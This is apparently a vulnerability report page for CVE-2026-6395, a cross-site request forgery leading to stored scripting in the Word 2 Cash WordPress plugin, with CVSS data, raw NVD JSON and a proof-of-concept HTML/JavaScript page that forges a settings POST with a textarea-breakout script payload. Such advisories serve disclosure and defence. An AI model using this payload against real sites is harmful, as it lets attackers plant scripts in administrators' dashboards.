Security Vulnerability Report
中文
CVE-2026-6395 CVSS 6.1 MEDIUM

CVE-2026-6395

Published: 2026-05-20 02:16:38
Last Modified: 2026-05-20 13:54:55

Description

The Word 2 Cash plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Stored Cross-Site Scripting in versions up to and including 0.9.2. This is due to the complete absence of nonce verification on the settings save handler in the w2c_admin() function, combined with missing input sanitization before storage and missing output escaping when rendering the stored value. The w2c-definitions POST parameter is saved raw via update_option() and later echoed without escaping inside a <textarea> element. This makes it possible for unauthenticated attackers to forge a request on behalf of a logged-in administrator, storing arbitrary JavaScript payloads that execute in the WordPress admin panel whenever the settings page is visited.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Word 2 Cash <= 0.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-6395 Description: CSRF to Stored XSS in WordPress Word 2 Cash Plugin <= 0.9.2 Usage: Host this file and trick a logged-in admin to visit it. --> <html> <body> <h2>CVE-2026-6395 Exploit Test</h2> <p>Attempting to inject payload via CSRF...</p> <script> // The target URL where settings are saved (adjust path if necessary) var targetUrl = "http://[TARGET_DOMAIN]/wp-admin/admin.php?page=word2cash"; // Payload to break out of textarea and execute JS var payload = "</textarea><script>alert('XSS by CVE-2026-6395');<\/script><textarea>"; // Create form data var formData = new FormData(); formData.append("w2c-definitions", payload); // Add other required fields if known, otherwise minimal might trigger default save logic // Send forged request fetch(targetUrl, { method: "POST", body: formData, credentials: "include" // Sends cookies if the admin is logged in }).then(response => { console.log("Request sent. Check the plugin settings page."); }).catch(error => { console.error("Exploit failed:", error); }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6395", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:37.627", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Word 2 Cash plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Stored Cross-Site Scripting in versions up to and including 0.9.2. This is due to the complete absence of nonce verification on the settings save handler in the w2c_admin() function, combined with missing input sanitization before storage and missing output escaping when rendering the stored value. The w2c-definitions POST parameter is saved raw via update_option() and later echoed without escaping inside a <textarea> element. This makes it possible for unauthenticated attackers to forge a request on behalf of a logged-in administrator, storing arbitrary JavaScript payloads that execute in the WordPress admin panel whenever the settings page is visited."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/tags/0.9.2/word2cash.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/tags/0.9.2/word2cash.php#L20", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/tags/0.9.2/word2cash.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/trunk/word2cash.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/trunk/word2cash.php#L20", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/word-2-cash/trunk/word2cash.php#L31", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e4c7ca5c-38aa-4413-83eb-29185cca2a74?source=cve", "source": "[email protected]"}]}}